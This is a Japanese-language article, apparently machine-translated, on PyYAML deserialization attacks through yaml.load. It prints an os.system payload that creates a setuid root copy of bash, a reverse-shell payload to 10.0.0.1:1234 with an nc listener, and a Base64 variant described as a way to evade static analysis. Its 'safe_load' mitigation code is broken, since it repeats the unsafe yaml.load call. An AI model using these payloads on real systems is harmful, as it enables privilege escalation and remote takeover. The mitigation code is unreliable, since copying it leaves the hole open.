Python の YAML (YAML Ain't Markup Language) ライブラリには、特定の条件下で任意のコマンドの実行を可能にする脆弱性があることが確認されました。この脆弱性は、安全なローダーを指定せずに yaml.load 関数を使用することで発生します。デフォルトでは、yaml.load は任意の Python オブジェクトを実行でき、これにより悪意のあるペイロードに対する攻撃対象領域が作成されます。
根本的なリスクは逆シリアル化プロセスにあります。 YAML ドキュメントに悪意のあるペイロードが含まれている場合、yaml.load は埋め込まれたディレクティブを処理し、コードが実行される可能性があります。たとえば、次のスニペットを考えてみましょう:
import yaml filename = "example.yml" data = open(filename, 'r').read() yaml.load(data) # Unsafe usage
ここで、yaml.load 関数は制限なしで example.yml を解析するため、YAML コンテンツに安全でないディレクティブが含まれている場合に脆弱になります。一般的なエクスプロイト ペイロードは、任意のシステム コマンドを実行するように作成される可能性があります。
import yaml from yaml import Loader, UnsafeLoader # Malicious payload payload = b'!!python/object/new:os.system ["cp `which bash` /tmp/bash;chown root /tmp/bash;chmod u+sx /tmp/bash"]' # Exploitation yaml.load(payload) yaml.load(payload, Loader=Loader) yaml.load(payload, Loader=UnsafeLoader)
これらの各呼び出しでペイロードが処理され、その結果、/tmp/bash に特権付き実行可能ファイルが作成されます。このバイナリは、昇格された特権で実行できます:
/tmp/bash -p
これは、権限が正しく設定されていないシステム上でこの脆弱性が悪用された場合、またはその他の弱点がある場合に権限昇格の可能性があることを示しています。
特に危険な使用例は、リバース シェルの脆弱性を利用することです。これにより、攻撃者はターゲット マシンにリモート アクセスできるようになります。このプロセスには、攻撃者のマシン上でリスナーを開始し、逆接続を確立するように設計された YAML ドキュメントを作成することが含まれます。
攻撃者のマシンで、Netcat リスナーを開始します。
nc -lvnp 1234
ターゲット システムで、root として次の Python スクリプトを実行します。
import yaml # Reverse shell payload data = '!!python/object/new:os.system ["bash -c \"bash -i >& /dev/tcp/10.0.0.1/1234 0>&1\""]' yaml.load(data) # Executes the reverse shell
このペイロードは、ターゲット マシンに攻撃者のリスナーに接続し直すよう指示し、実行プロセスの権限を持つ完全に対話型のシェルを提供します。
基本的なセキュリティ制御またはフィルターをバイパスするには、ペイロードを Base64 でエンコードできます。この方法では難読化のレイヤーが追加され、静的分析ツールによる検出を回避できる可能性があります。
from base64 import b64decode import yaml # Base64-encoded payload encoded_payload = b"ISFweXRa...YXNoIl0=" # Truncated for brevity payload = b64decode(encoded_payload) # Execute the payload yaml.load(payload)
専門家は、このような脆弱性を排除するために厳密なコーディング手法を採用する必要があります。推奨される緩和策は次のとおりです:
セーフ ローダーの使用: yaml.load を yaml.safe_load に置き換えます。これにより、任意のオブジェクトの実行が防止されます。
import yaml filename = "example.yml" data = open(filename, 'r').read() yaml.load(data) # Unsafe usage
入力ソースの制限: YAML 入力がサニタイズされ、信頼できるソースからのみ送信されていることを確認します。
静的分析の適用: ツールを使用して、安全でない yaml.load 呼び出しのコードベースをスキャンします。
環境強化: 悪用の影響を最小限に抑えるためにシステム権限を制限します。たとえば、コンテナ化された環境を使用すると、攻撃者が権限を昇格する能力が制限されます。
YAML ライブラリのデフォルトの動作は、Python などの動的型付け言語での逆シリアル化に関連するリスクを例示しています。この脆弱性の悪用には最小限の高度な技術が必要であり、安全なアプリケーション開発においては優先度の高い問題となります。これらのリスクを効果的に軽減するには、安全なコーディング手法を採用するとともに、堅牢な入力検証と実行時の安全対策が不可欠です。
以上がPython で YAML を使用する場合は注意してください。セキュリティ上の脆弱性がある可能性がありますの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。